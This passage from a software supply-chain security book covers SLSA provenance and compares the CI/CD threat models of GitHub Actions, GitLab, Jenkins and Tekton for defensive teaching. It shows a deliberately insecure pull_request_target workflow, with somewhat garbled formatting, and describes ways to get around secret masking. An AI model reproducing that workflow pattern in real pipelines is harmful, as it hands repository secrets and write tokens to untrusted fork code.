Uniform coverage requires centralization. If reaching L2/L3 were a per-repo task — each team adding the right steps, wiring OIDC, configuring signing — coverage would be a patchwork, and the one team that skipped it is the gap an attacker walks through. Provenance only delivers fleet-wide assurance if *every* tenant's artifacts get it *automatically*. That is the **paved road** (Chapter 10 — Designing a Secure Build Platform at Scale): the shared platform emits signed provenance for every build by default, so that "is this artifact SLSA L3?" has the same answer for every service in the org without any team opting in. Individual teams cannot be trusted to do it consistently — not from malice, but from the ordinary entropy of a hundred backlogs. Make it a platform property and the question disappears.

Builder identity is the trust anchor, and it is a workload identity. In a fleet, "who built this?" cannot be a human name. It is the **OIDC / workload identity** the platform assigns to each build (Book 5, Chapter 4 — Keyless Signing and Workload Identity), bound into the provenance's `builder.id` and proven by the Sigstore certificate's SAN. This is the hinge between Book 4 and Book 5: the build's identity is what lets a verifier *somewhere else entirely* in the distributed system decide whether

to trust an artifact — not merely that it was signed, but that it was built by the right builder, from the right source, under the right policy. Get the identity model right and the whole distributed trust graph has a foundation; get it wrong and every downstream signature is just "someone endorsed some bytes."

Provenance flows into the attestation store and is verified at admission. Provenance is not a build-time curiosity; it is data with a lifecycle. It is generated at build (this chapter), stored in the shared **SBOM/attestation store** (Book 3, Chapter 5) alongside SBOMs and VEX — all sharing the in-toto/DSSE machinery — and **verified at admission** (Book 6, Chapters 5–6) as the gate on deployment. The distributed-systems shape is a *pipeline of trust*: produce → store → verify, with the producer and verifier often owned by different teams in different trust domains, communicating only through signed, self-describing attestations. That is what lets the system scale: the verifier does not need to trust the producer's infrastructure, only the producer's *identity and signature*.

L3's isolation requirement drives the ephemeral-build design. The reason Chapter 8 (Ephemeral and Isolated Build Environments) exists is, in large part, **LSA L3**. The requirement that provenance be unforgeable *even by the build's own steps*, and that builds not contaminate one another, is only satisfiable if build environments are isolated and ephemeral — provisioned fresh, torn down after, with the signing identity architecturally out of reach of user code. So "reach L3" and "build ephemerally and isolate tenants" are two descriptions of the same platform investment. The multi-tenant isolation Chapter 1 flagged (Team A's build must not influence Team B's or steal its secrets) is *the same property* as L3's cross-build isolation, viewed from the tenancy angle.

Reaching L3 across the fleet is a platform-team deliverable. The clean summary: an individual repo cannot honestly self-certify Build L3, because L3 is about properties of the *builder* — its isolation, its inaccessible signing material, its ephemerality — that no build script can assert about itself. L3 is delivered by the platform team who runs the shared build service and can guarantee those properties for every tenant. This inverts the usual "security is everyone's responsibility" framing for this specific control: **provenance and build integrity are the platform team's responsibility to provide, and every other team's responsibility only to verify**. That division of labor — centralized

production, decentralized verification, mediated by signed attestations — is what makes build integrity tractable at scale.

With provenance defined and its levels understood, the next chapters turn to the platforms that must generate it safely: the CI/CD threat models (Chapter 4), hardening GitHub Actions specifically (Chapter 5), and the secrets and isolation disciplines (Chapters 6 and 8) that make L3's "the build cannot reach the signing identity" a real architectural guarantee rather than a hopeful assertion.

Key takeaways

- **SLSA v1.0** (OpenSSF, April 2023) is organized into **tracks**; v1.0 defines the **Build track** (levels L0–L3) normatively. It measures **build integrity**, explicitly *not* code quality or vulnerability-freedom — keep the build-integrity axis and the security-posture axis separate.
- **Provenance** is a signed attestation answering *what* was built (subject digest), *from what* (source repo+revision, resolved dependencies), *by what* (builder identity), and *how* (build type, parameters, run metadata). It is the control that finally answers the SolarWinds question.
- The **v1.0 provenance predicate** (`predicateType: https://slsa.dev/provenance/v1`) has exactly two top-level fields: **buildDefinition** (`buildType` , `externalParameters` , `internalParameters` , `resolvedDependencies`) and **runDetails** (`builder.id` , `metadata` , `byproducts`). There is no `materials` field — that was v0.2.
- Provenance is an **in-toto Statement** (`subject` + `predicateType` + `predicate`) wrapped in a **DSSE envelope** and **signed** (keyed, or keyless via Sigstore/Fulcio/Rekor). Provenance is one *predicate type* carried by generic attestation machinery shared with SBOMs and VEX.
- **Build levels**: L0 = nothing; **L1** = provenance exists (may be forgeable) — transparency, catches mistakes; **L2** = a **hosted platform signs** provenance with its own identity — defeats forgery and post-hoc tampering; **L3** = **hardened, isolated** builds where provenance is unforgeable *even by the build's own steps* — defeats the SolarWinds-class self-forged provenance. **v1.0 removed the old L4**; L3 is the top of the Build track.

- The dominant production pattern is **hosted CI + OIDC workload identity + Sigstore**: the *platform* (not the user's build steps) generates and signs provenance using an identity the build cannot access. Real implementations: `slsa-github-generator` (L3 via separate-job reusable workflows), `actions/attest-build-provenance` (native, Fulcio+Rekor), **Google Cloud Build**, **GitLab**, **Tekton Chains** (a controller that signs *after* the run, outside the build pods' reach).
- A **verifier** (`slsa-verifier`, `cosign verify-attestation`) checks signature + signer identity, subject-digest match (by digest, never tag), expected source, trusted builder, and parameter policy — enforced at the **admission/deployment gate** (Book 5 Ch 10; Book 6 Ch 5-6).
- **Distributed-systems view**: provenance is a **platform deliverable**. Centralize its generation on the shared build platform so every tenant gets L2/L3 automatically (paved road); anchor trust in **workload identity**; flow provenance into the shared attestation store (Book 3 Ch 5) and verify at admission (Book 6). **L3's isolation requirement is the same investment as ephemeral, tenant-isolated builds (Chapter 8)** — and reaching L3 across a fleet is the platform team's job, not a per-repo one.

Further reading

- **SLSA v1.0** — the specification, especially *Build track / levels* and the *Provenance* format pages. <https://slsa.dev/spec/v1.0/> and <https://slsa.dev/provenance/v1>.
- **SLSA v1.0 Threats & mitigations** — how the Build levels map to supply-chain threats (B)/(C)/(E). <https://slsa.dev/spec/v1.0/threats>.
- **in-toto Attestation Framework** — the Statement/predicate model and the `ResourceDescriptor` type. <https://github.com/in-toto/attestation> (developed in Book 5, Chapter 6).
- **DSSE — Dead Simple Signing Envelope** — the envelope and PAE that provenance is signed under. <https://github.com/secure-systems-lab/dsse>.
- `slsa-framework/slsa-github-generator` — reusable workflows for SLSA L3 provenance on GitHub Actions. <https://github.com/slsa-framework/slsa-github-generator>.

- **GitHub** — `actions/attest-build-provenance` and *Artifact Attestations* documentation — native Sigstore-backed build provenance.
- **Tekton Chains** — provenance generation for Tekton pipelines. <https://tekton.dev/docs/chains/>.
- `slsa-framework/slsa-verifier` — verification of SLSA provenance from known builders; and **Sigstore** `cosign` `verify-attestation` — general attestation verification.
- Book 1, Chapter 7 (Risk Frameworks: SLSA, SSDF, S2C2F); Book 4, Chapter 1 (build threat model) and Chapter 2 (hermetic and reproducible builds); Book 5, Chapters 3–4, 6, 8, 10 (Sigstore, keyless/workload identity, in-toto, provenance verification, deployment gates); Book 3, Chapter 5 (attestation storage); Book 6, Chapters 5–6 (admission-time verification).

Chapter 4 — CI/CD Platform Threat Models: Actions, GitLab, Jenkins, Tekton

What this chapter covers. Chapter 1 modelled the build in the abstract — a function whose compromise defeats both source review and code signing. But nobody runs an abstract build. They run GitHub Actions, or GitLab CI, or a Jenkins controller inherited from 2016, or a Tekton install wired into their Kubernetes clusters. Each of these is a *real system* with a concrete architecture, a concrete privilege model, and a concrete set of footguns, and the threat model that matters to an on-call engineer is the platform-specific one. This chapter is the comparative threat landscape. We first frame *why* CI/CD systems are a uniquely dangerous class of target and adopt the **OWASP Top 10 CI/CD Security Risks (2022)** as an organizing vocabulary. We introduce **Poisoned Pipeline Execution (PPE)** as the central attack primitive (detailed in Chapter 7). Then we dissect four platforms — GitHub Actions, GitLab CI, Jenkins, and Tekton — with brief case notes on CircleCI, Azure DevOps, Argo, and Buildkite. We synthesize the cross-cutting threats, and close by mapping every OWASP CI/CD risk to the control and chapter that addresses it. GitHub

Actions gets its own hardening chapter (Chapter 5); here it is one platform among several, examined comparatively.

Learning goals — after this chapter you should be able to:

- Explain why a CI/CD platform is a **top-tier target and a single point of compromise**: broad standing access, execution of repo-controlled code, continuous operation, and universal downstream trust.
- Enumerate the **OWASP Top 10 CI/CD Security Risks (2022)** accurately and use them as a shared vocabulary across platforms.
- Distinguish **direct, indirect, and public PPE** and recognize the injection surfaces each exploits.
- Describe the concrete threat model of **GitHub Actions, GitLab CI, Jenkins, and Tekton** — their isolation model, secrets model, pipeline-as-code exposure, and third-party extension risk — and reason about which failure modes each makes easy.
- Explain the `pull_request` vs `pull_request_target` footgun, the `tj-actions/changed-files` compromise (March 2025), and the **CircleCI** breach (January 2023) at a mechanistic level.
- Map each OWASP CI/CD risk to its control and to the chapter of Book 4 that develops it.

The CI/CD platform as attack surface

Start with what makes a CI/CD platform categorically different from an ordinary service. Four properties, and it is their *combination* that is lethal.

It has broad, standing access. A CI/CD system, by its job, holds read (usually write) access to source across many repositories, the secrets to sign and publish artifacts, the credentials to push to registries, and — increasingly — a cloud identity that can deploy to production. It is not a system that *requests* privilege for a task; it is a system that *sits on* privilege continuously. Chapter 1 called the build the most over-privileged node in the pipeline; the CI/CD platform is the *fabric* that concentrates that privilege across your entire engineering org.

It executes code from the repository. This is the property that separates CI/CD from a database or a message queue. A pipeline definition — `.github/workflows/*.yaml`, `.gitlab-ci.yaml`, a `Jenkinsfile`, a

Tekton `Pipeline` — *is code*, and it is code that lives in the repo, is edited through the same pull-request flow as application code, and is often modifiable by anyone who can open a PR. The platform's job is *literally* to run attacker-adjacent input. Worse, the pipeline doesn't only run the YAML: it runs the `Makefile`, the test suite, the `npm` lifecycle scripts, the `Dockerfile`, the linters — all of which are also repo-controlled code that executes with the pipeline's authority.

It runs continuously and is trusted by everything downstream. The platform is always on, always polling for events, always ready to execute. And every artifact it produces is trusted on sight by registries, deploy systems, and other pipelines. A compromise here is not a lateral incident; it is a fan-out. One poisoned build step can taint every artifact the platform ships, and — via signing keys and deploy credentials — endorse those artifacts as legitimate.

It is the join point of source and production. In most orgs the CI/CD system is the one place that touches *both* the source tree *and* the production deploy path. Compromise the source and you still face review and signing. Compromise production directly and you still face the source of truth. Compromise CI/CD and you have both ends of the pipe at once — which is exactly why, as Chapter 1 argued with SolarWinds, this node's compromise is uniquely catastrophic.

```

flowchart TB
    subgraph external["Untrusted / semi-trusted inputs"]
        PR["Pull requests (incl. forks)"]
        DEP["3rd-party actions / plugins / orbs / includes"]
        SRC["Source across many repos"]
    end

    subgraph platform["CI/CD platform (single concentration point)"]
        RUN["Runners / agents / pods (execute repo code)"]
        SEC["Secrets store (signing keys, registry creds)"]
        ID["Cloud identity (OIDC / service accounts)"]
    end

    subgraph downstream["Trusted on sight"]
        REG["Artifact registries"]
        PROD["Production deploy"]
        CLOUD["Cloud control plane"]
    end

    PR --> RUN
    DEP --> RUN
    SRC --> RUN
    RUN --> SEC
    RUN --> ID
    SEC --> REG
    ID --> PROD
    ID --> CLOUD
    RUN --> REG

```

The picture is a bowtie: many partly-trusted inputs on the left, a small set of highly-trusted outputs on the right, and the platform as the knot in the middle holding the credentials that make the right side possible. Everything an attacker wants is reachable *if* they can get code to run inside that knot.

An organizing frame: the OWASP Top 10 CI/CD Security Risks

To talk about many platforms without inventing ad-hoc categories, we use the **OWASP Top 10 CI/CD Security Risks**, published in 2022 (originating from research by Cider Security, since acquired by Palo Alto Networks). It is the best-known taxonomy for this domain and maps cleanly onto the platforms below. The ten, with their `CICD-SEC-N` identifiers:

ID	Risk	One-line meaning
CICD-SEC-1	Insufficient Flow Control Mechanisms	An actor who can push code / config can push it <i>through</i> the pipeline to prod without a gate (review, approval, protected branch).
CICD-SEC-2	Inadequate Identity and Access Management	Sprawl of identities (human, service, machine) with weak, stale, or over-broad access across the CI/CD estate.
CICD-SEC-3	Dependency Chain Abuse	The pipeline fetches dependencies (packages, actions, images) in ways an attacker can hijack — confusion, typosquat, unpinned refs.
CICD-SEC-4	Poisoned Pipeline Execution (PPE)	Getting attacker-controlled commands to run inside the pipeline by manipulating the pipeline definition or files it reads.
CICD-SEC-5	Insufficient PBAC (Pipeline-Based Access Controls)	Pipelines run with more access than the job needs; one compromised step reaches everything the runner can reach.
CICD-SEC-6	Insufficient Credential Hygiene	Secrets that are long-lived, over-scoped, printed to logs, or reachable by untrusted code.
CICD-SEC-7	Insecure System Configuration	Weak platform / runner / controller configuration: default-permissive tokens, exposed consoles, no hardening.
CICD-SEC-8	Ungoverned Usage of 3rd Party Services	Dozens of external SaaS integrations wired into the pipeline with broad scopes and no inventory.
CICD-SEC-9	Improper Artifact Integrity Validation	Nothing verifies that an artifact moving through the pipeline is the one that was built and reviewed.
CICD-SEC-10	Insufficient Logging and Visibility	You cannot tell, during or after, what the pipeline actually did.

Keep this table in view. Each platform we examine makes some of these risks *easy* and others *hard*, and the differences are the whole point of a comparative chapter.

Poisoned Pipeline Execution: the central primitive

Most CI/CD attacks reduce to one thing: **get your code to run in the CI context**. OWASP calls it Poisoned Pipeline Execution (CICD-SEC-4), and it is worth internalizing the three flavours now because every platform section returns to them. Chapter 7 is the deep dive; this is the vocabulary.

- **Direct PPE.** The attacker edits the pipeline definition itself — the workflow YAML, the `.gitlab-ci.yml`, the `Jenkinsfile` — and the platform runs it. This is the obvious case, and it is guarded (or should be) by requiring review and protection on the files that define what the pipeline does.
- **Indirect PPE.** The attacker cannot edit the pipeline definition, but *can* edit a file the pipeline *reads and executes*: a `Makefile` target the CI invokes, a test that runs during `pytest`, a `package.json` `postinstall` script, a linter config that shells out, a `Dockerfile`. The pipeline YAML is clean; the code it calls is not. Indirect PPE is more common and harder to spot because the malicious change lives far from the security-reviewed YAML.
- **Public PPE.** The injection arrives via a pull request from a fork of a public repo. The attacker doesn't need commit access at all — they open a PR, and if the pipeline runs untrusted PR code with real privileges (the `pull_request_target` footgun below, or a non-ephemeral self-hosted runner), the fork PR becomes remote code execution inside CI.

```
sequenceDiagram
    autonumber
    participant A as Attacker
    participant R as Repo (VCS)
    participant CI as CI/CD platform
    participant Sec as Secrets / cloud identity
    participant Prod as Registry / prod

    A->>R: Modify pipeline def (direct) OR
    a file it executes (indirect) OR
    open fork PR (public)
    R->>CI: Trigger pipeline on push / PR
    CI->>CI: Execute repo-controlled code
    (YAML, Makefile, tests, scripts)
    CI->>Sec: Read secrets / assume cloud identity
    Sec-->>CI: Signing key, registry creds, OIDC token
    CI->>Prod: Exfiltrate secrets and/or push
    poisoned artifact / deploy
    Note over A,Prod: One code-execution foothold in CI → full downstream
    trust
```

The defining feature is step 3: the platform runs code that an attacker influenced, holding credentials the attacker wants. Everything else is consequence. The rest of this chapter is, in effect, a survey of *how each platform makes step 3 reachable and what it hands you when you get there*.

GitHub Actions

We keep this brief — Chapter 5 hardens Actions in depth — but the threat model is foundational because so many orgs live here.

The model. A *workflow* is a YAML file under `.github/workflows/`, triggered by events (`push`, `pull_request`, `schedule`, `workflow_dispatch`, ...). A workflow is a set of *jobs*; each job runs on a *runner* (GitHub-hosted ephemeral VMs, or self-hosted); each job is a sequence of *steps* that either `run shell (run:)` or `invoke a reusable action (uses: owner/repo@ref)`. Actions are the unit of reuse — and the unit of third-party dependency risk.

The `pull_request` vs `pull_request_target` footgun. This is the single most important Actions-specific fact. The `pull_request` event runs the workflow *from the PR's merge commit*, and for PRs originating from forks it does so with a **read-only `GITHUB_TOKEN` and no access to repository**

secrets. That is the safe default: untrusted fork code runs, but with nothing worth stealing.

`pull_request_target`, by contrast, runs the workflow definition *from the base branch* (the trusted, already-merged version) but **in the context of the base repository, with a read-write token and full access to secrets.** It exists for legitimate reasons — labelling PRs, posting comments, workflows that need to write back to the base repo. The footgun is what happens when someone combines it with an explicit checkout of the *PR head* code:

```
# DANGEROUS: privileged event + checkout of untrusted PR code
on: pull_request_target
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${ github.event.pull_request.head.sha }
# attacker's code
  - run: npm ci && npm test # ...execute
# with secrets in scope
```

Now a pull request *from any fork* checks out attacker-controlled code and runs it (`npm ci` alone executes lifecycle scripts) inside a job that holds a write token and secrets — textbook public PPE. The correct pattern is: use `pull_request` for anything that runs untrusted code, and reserve `pull_request_target` for jobs that do *not* check out or execute PR content, or split into a trusted labelling job and an unprivileged build job. Chapter 5 details the safe patterns.

```
sequenceDiagram
    autonumber
    participant Fork as Attacker fork
    participant GH as GitHub
    participant Job as Workflow job (pull_request_target)
    participant S as Secrets + write token

    Fork->>GH: Open PR from fork
    GH->>Job: Run workflow from BASE branch
    (privileged: secrets + RW token)
    Job->>Fork: checkout ref = PR head SHA
    Fork-->>Job: Untrusted code enters trusted job
    Job->>Job: npm ci / make / test (executes attacker code)
    Job->>S: Read secrets, use write token
    S-->>Fork: Exfiltrate via network / logs
```

GITHUB_TOKEN permissions. Each workflow run gets an automatically-minted `GITHUB_TOKEN` scoped to the repository. Its permissions are configurable per-workflow or per-job with a `permissions:` block. Historically the default was broadly read-write; GitHub now lets orgs set the default to read-only, which every org should. Least privilege here (`permissions:` `contents:` `read` and grant more only where needed) directly limits the blast radius of any PPE (CICD-SEC-5).

Third-party actions as dependencies. `uses: some-org/some-action@v3` pulls in code that runs with your job's privileges. A *tag* like `@v3` is a **mutable pointer** — the owner (or anyone who compromises the owner's account or a token) can retarget it to a malicious commit, and every consumer pulls the new code on the next run. Pinning by **full commit SHA** (`@1b2c3...`) makes the reference immutable. This is not theoretical:

The `tj-actions/changed-files` compromise (March 2025). `tj-actions/changed-files` is a very widely used action (on the order of tens of thousands of repositories). In March 2025 its code was altered so that, on execution, it ran a payload that dumped the CI runner process memory and printed secrets — base64-encoded — into the workflow build logs. The attacker retroactively **repointed many existing version tags to the single malicious commit**, so consumers pinning by tag (e.g. `@v35`) pulled the poisoned code without any visible version bump. Public repositories were hit hardest because their logs are public, so leaked secrets were world-readable; the issue was tracked as CVE-2025-30066. Reporting at the time traced the initial foothold upstream to a compromised token / a related action (`reviewdog/action-setup`) rather than a break of GitHub itself. The mechanistic lesson is exactly the

pinning one: **had consumers pinned by commit SHA, the tag retargeting would have been inert.** (Some specifics of attribution were still being refined as reporting matured; the mechanism — tag mutation used to distribute a secret-dumping payload — is the well-established part.)

This is the CI/CD version of the Codecov lesson (Book 2): a trusted, auto-updating third-party component running with your privileges is a dependency, and unpinned dependencies are a supply-chain hole (CICD-SEC-3, CICD-SEC-8).

OIDC to cloud. Modern Actions setups avoid long-lived cloud keys by having the workflow request a short-lived **OIDC token** from GitHub and exchanging it, via a cloud trust policy, for temporary credentials (AWS `AssumeRoleWithWebIdentity`, GCP Workload Identity Federation, Azure federated credentials). This is a major improvement over stored static keys — *if* the cloud-side trust policy is scoped tightly (to a specific repo, and ideally a specific branch or environment via the `sub` claim). A loose trust policy (`repo:my-org/*`, or no branch condition) turns any PPE in any repo into cloud access, and re-concentrates the privilege you were trying to distribute (CICD-SEC-2). Book 5 covers the OIDC identity model in depth.

Self-hosted runners. GitHub-hosted runners are ephemeral — a fresh VM per job, discarded after. Self-hosted runners are frequently *not*: a persistent machine that runs job after job. On a **public** repository this is dangerous: a fork PR (public PPE) can execute code on a long-lived runner, and if that runner is non-ephemeral, the attacker can leave persistence — modified tools, a poisoned build cache, a background process — that taints *subsequent* jobs from other users. GitHub's own guidance is to never use self-hosted runners with public repos for this reason. Chapter 8 is about making runners ephemeral and isolated precisely to close this.

GitLab CI

GitLab CI is architecturally similar to Actions — pipeline-as-code plus runners — but its secrets and token model differ enough to change the threat picture.

The model. `.gitlab-ci.yml` at the repo root defines *stages* and *jobs*; jobs run on *runners* via an *executor* (`shell`, `docker`, `kubernetes`, `docker+machine`). Runners come in three scopes: **shared** (available to all projects on the instance), **group**, and **specific/project**. The scope choice is a multi-tenancy decision.

Shared-runner multi-tenancy. A shared runner executes jobs from many projects — including, on a public GitLab instance or a large internal one, projects owned by people you don't trust. If the executor doesn't isolate strongly (e.g. the `shell` executor runs jobs directly on the host; a mis-scoped `docker` executor with `privileged = true` for `dind` gives jobs a path to the host), one tenant's malicious pipeline can attack the runner host and thereby other tenants' jobs and secrets (CICD-SEC-5, insufficient isolation). The Docker-in-Docker `privileged` requirement is a recurring sharp edge: it is convenient for building images and it also hands the job effective root on the runner host. Prefer isolated, ephemeral runners (Kubernetes executor with tight `securityContext`, or rootless build tooling like Buildah / BuildKit); Chapter 8 develops this.

CI/CD variables: protected vs masked vs regular. GitLab variables come in flavours, and the distinctions are frequently misunderstood in security-relevant ways:

- **Regular** variables are exposed to every pipeline, including those triggered on unprotected branches — i.e. potentially by any developer's feature branch or (with settings that allow it) merge requests. A production credential stored as a regular variable is reachable from an unreviewed branch.
- **Protected** variables are exposed *only* to pipelines running on **protected branches or protected tags**. This is the real access boundary: it ties secret exposure to the branch protection model, so untrusted feature-branch pipelines cannot read them.
- **Masked** variables are redacted (replaced with `[MASKED]`) if they appear in job logs. **Masking is not a security boundary.** It is a best-effort scrubber with formatting constraints (minimum length, restricted character set), and any pipeline that can read the variable can trivially defeat it — echo it one character at a time, base64 it, `rev` it, POST it to an attacker server. Masking reduces accidental leakage; it does nothing against a malicious pipeline. Treat "masked" as a hygiene feature, not a control.

The practical rule: **secrets that matter must be Protected** (bound to protected refs) and, better still, sourced from an external secret manager via GitLab's integrations rather than stored as CI variables at all (Chapter 6).

Protected branches, tags, and environments. These are GitLab's flow-control primitives (CICD-SEC-1). Protected branches restrict who can push/merge; protected environments gate deployments behind approvals and restrict which jobs can deploy to production. Without them, "push to a branch" and "deploy to prod" collapse into the same action.

Remote include. GitLab pipelines can pull in configuration with `include:` — `local` (same repo), `project` (another GitLab project + ref), `template` (GitLab-provided), and `remote` (an arbitrary URL):

```
include:
  - remote: 'https://example.com/ci/shared-pipeline.yml' # supply-
    chain vector
```

A `remote` include fetches pipeline *code* from an external server every run. If that server (or the path, or DNS) is compromised, or the URL is unpinned and mutable, an attacker can inject pipeline steps — direct PPE by way of the include mechanism (CICD-SEC-3, CICD-SEC-8). Prefer `project` includes pinned to a specific ref (ideally a commit SHA / immutable tag) over `remote`, and treat any external pipeline source as a dependency to inventory and pin.

The job token (`CI_JOB_TOKEN`). Every job gets a `CI_JOB_TOKEN`, used to authenticate to the GitLab API and to clone other repositories during the job. Historically this token was **over-permissive**: its access was tied broadly to what the triggering user could reach, meaning a job in one project could use the token to pull from other projects the user had access to — a lateral-movement primitive if the job was poisoned. GitLab has since added a **job-token access allowlist** (you declare which projects may be accessed via another project's job token, in inbound/outbound directions) and tightened defaults. If you run GitLab, verify the allowlist is enabled and scoped; if it isn't, `CI_JOB_TOKEN` is a ready-made pivot for any PPE (CICD-SEC-2, CICD-SEC-5).

Auto DevOps. GitLab's Auto DevOps auto-generates build/test/scan/deploy pipelines from conventions. It is convenient and it also means

pipeline behaviour (including deploy steps and the credentials they use) is defined by platform machinery rather than a reviewed file in the repo — worth understanding before enabling it, since it changes where the "pipeline as code" review boundary sits.

Jenkins

Jenkins is the oldest and messiest of the four, and for many orgs the highest-risk because it is legacy: long-lived controllers, huge plugin surface, and pipeline code with a history of sandbox escapes. Treat an inherited Jenkins as a system to *contain and migrate off*, not one to trust by default.

Architecture. A Jenkins **controller** (historically "master") orchestrates builds and holds configuration, credentials, and the plugin set. **Agents** (historically "slaves") execute the builds. Pipelines are defined in a `Jenkinsfile` (Declarative or Scripted syntax), written in a **Groovy**-based DSL. Four structural risks follow.

The plugin ecosystem. Jenkins' power and its danger are the same thing: an enormous plugin ecosystem (well over a thousand plugins), of wildly varying quality and maintenance. Jenkins plugins have for years been one of the most prolific sources of CVEs in the software ecosystem — the Jenkins security team publishes regular advisories covering many plugins at once (XSS, CSRF, missing permission checks, credential exposure, RCE). Every installed plugin is code running in the controller with the controller's authority. The security posture of a Jenkins install is largely the *union* of the security postures of its plugins, and most installs accumulate plugins nobody remembers enabling (CICD-SEC-7, CICD-SEC-8). Minimizing and patching the plugin set is the single highest-leverage Jenkins hardening action.

Groovy execution and the script-security sandbox. Because pipelines are Groovy, running a pipeline is running code on the JVM. To let non-admins define pipelines without handing them arbitrary controller code execution, Jenkins provides the **Script Security** plugin and a **Groovy sandbox** (built on Groovy CPS transformation): sandboxed scripts may only call approved methods; anything else requires an administrator to approve it. The problem is that **the sandbox has a long history of bypasses** — numerous CVEs over the years describe ways to escape the Groovy sandbox and achieve arbitrary code execution as the controller

(via reflection tricks, meta-programming, constructor abuse, and unguarded plugin methods). The sandbox raises the bar; it has repeatedly failed to be a hard boundary. Do not treat "it's sandboxed" as "untrusted users can safely author pipelines here." Combine it with the principle that untrusted pipeline authorship should not exist on a shared controller at all.

Controller/agent trust and "builds on the controller." Builds are supposed to run on **agents**, not on the controller. A common, dangerous misconfiguration is running builds on the **built-in node** (the controller itself): now pipeline code — which may be repo-controlled and PR-editable — executes with direct access to the controller's filesystem, the credentials store, and the plugin internals. Set the built-in node's executor count to zero. Separately, Jenkins historically trusted agents more than it should; a malicious or compromised agent could attack the controller. The **Agent-to-Controller Access Control** subsystem restricts what agents may do to the controller and should be enabled. The trust should flow *from* controller *to* agent, never the reverse.

Credentials and exposure. Jenkins stores credentials via the Credentials plugin, encrypted on disk (with `master.key` / `hudson.util.Secret`), and injects them into builds. Two classic failures: credentials scoped too broadly (global credentials reachable by any job — CICD-SEC-6), and the **Script Console** (`/script`), which executes arbitrary Groovy as the controller and is catastrophic if reachable by an unauthenticated or low-privilege user. Historically, **large numbers of Jenkins instances were exposed to the internet with weak or no authentication**, and unauthenticated RCE / arbitrary-file-read vulnerabilities in Jenkins and its CLI have been exploited in the wild (for example CVE-2024-23897, an arbitrary file-read via the Jenkins CLI, drew broad attention). An internet-reachable Jenkins is a standing invitation; Jenkins controllers belong behind the network perimeter and strong auth, always.

Put together, Jenkins concentrates *many* OWASP risks: insecure config (SEC-7), ungoverned plugins/services (SEC-8), weak credential hygiene (SEC-6), and — through Groovy + built-on- controller misconfig — a direct PPE path to controller RCE (SEC-4). Its saving grace is that it is self-hosted and can be locked down aggressively; its curse is that few installs are.

Tekton

Tekton is the Kubernetes-native option, and it is interesting precisely because it *relocates* the threat model into Kubernetes rather than inventing its own runner fabric.

The model. Tekton defines pipelines as **Custom Resources (CRDs)**: a `Task` is a sequence of steps (each step a container), a `Pipeline` composes `Tasks`, and you execute them by creating a `TaskRun` or `PipelineRun`. Each `TaskRun` runs as a **Kubernetes Pod**, with each step as a container in that pod. There is no separate "CI server" holding all the privilege — the control loop is a set of controllers in the cluster, and the *executions are just pods*.

The threat model shifts to Kubernetes RBAC and the cluster. Because a pipeline is pods, the security questions become Kubernetes questions (Book 6): What **ServiceAccount** does the `TaskRun` pod run as, and what can that SA do via RBAC? Is the pod's **projected SA token** mounted, and can a poisoned build step use it to hit the Kubernetes API? What **securityContext** constrains the pod (non-root, no privilege escalation, seccomp, read-only root FS)? Are there **NetworkPolicies** limiting egress? A compromised pipeline step (via any PPE) doesn't just leak a CI secret — it becomes a foothold *inside your cluster*, and if the SA is over-permissioned or the pod can reach the node/kubelet, it can pivot laterally into other workloads. The concentration risk here is the *cluster*, and the isolation primitives are Kubernetes-native: namespaces per tenant, tight RBAC, pod security standards, and network policy. This is a genuinely different (and, done well, stronger) posture than a shared runner host — but only if you actually apply Kubernetes hardening, because the defaults are permissive.

Pod-based task isolation. Each `TaskRun` gets its own pod, so isolation between tasks is whatever Kubernetes gives you between pods — which, on a shared node, is namespaces and cgroups, not a security boundary against a container escape. For multi-tenant Tekton you want tenant separation at least at the namespace level with RBAC, and often stronger sandboxing (gVisor, Kata, or per-tenant node pools) for untrusted workloads. Book 6 covers container isolation.

Tekton Chains for provenance. Tekton **Chains** is a controller that *observes* completed `TaskRun` / `PipelineRun` objects and generates signed **provenance** (in-toto attestations, SLSA-formatted), signing with cosign /

a KMS and storing the attestation (attached to the OCI image or stored alongside). This is how Tekton addresses artifact integrity (CICD-SEC-9): the pipeline emits a signed statement of *what it built and how*, which downstream consumers verify (Chapter 3 covers provenance; Book 5 covers signing). Chains is a strength of the Tekton ecosystem — provenance generation is built into the platform rather than bolted on.

Brief notes on other platforms

CircleCI — a CI-provider compromise (January 2023). CircleCI is instructive not for its architecture but as a case study in what happens when the *provider* is breached. In early January 2023 CircleCI disclosed a security incident and told **all customers to rotate all secrets** stored on the platform. Per their post-incident write-up, the mechanism was: malware on an engineer's laptop stole a **valid, 2FA-backed SSO session token**; because session hijacking bypasses the second factor (the session is already authenticated), the attacker could impersonate that employee. The employee had privileges to generate production access, so the attacker reached production systems and was able to **exfiltrate customer secrets and environment variables** stored in CircleCI (the data was encrypted, but the attacker also obtained keys capable of decrypting some of it). The lessons are squarely in the OWASP frame: your secrets sitting in a third-party CI SaaS are only as safe as that SaaS's *internal* identity hygiene (CICD-SEC-2, CICD-SEC-6), which is an argument for short-lived, externally-brokered credentials (OIDC) over long-lived secrets stored in the platform, so that a provider breach yields expired or unusable material. (Fine details of the token type and decryption scope come from CircleCI's own report; treat the mechanism — stolen SSO session → impersonation → secret exfiltration — as the load-bearing fact.)

Azure DevOps. Structurally similar to the others: YAML (or classic) pipelines, **agent pools** (Microsoft-hosted or self-hosted), **variable groups** for shared config/secrets, and **service connections** that hold credentials to external systems (Azure subscriptions, registries). The recurring risks map directly: over-scoped service connections (SEC-2/SEC-5), secrets in variable groups reachable from unprotected pipelines, and the same fork-PR / untrusted-contribution concerns. Azure DevOps has settings specifically to restrict secret exposure to PRs from forks — the analogue of the `pull_request_target` problem.

Argo. Two different things often conflated. **Argo CD** is a GitOps *continuous delivery* controller (reconciles cluster state to Git) — a Book 6, Chapter 7 topic, and a distinct threat model (the CD controller holds cluster-admin-like power and watches Git). **Argo Workflows** is a Kubernetes-native workflow engine that, like Tekton, runs steps as pods and inherits the Kubernetes RBAC/cluster threat model.

Buildkite. A hybrid model worth noting: Buildkite hosts the **control plane** (pipeline orchestration, UI, scheduling) as SaaS, but you run the **agents** on your own infrastructure. This keeps source and secrets on *your* side of the line (the SaaS never needs your code or your deploy creds), which is attractive for orgs wary of handing everything to a CI provider — at the cost of owning agent hardening and isolation yourself.

Cross-cutting threats

Step back from the platforms and the same failure classes recur. These are the threads Book 4 picks up chapter by chapter.

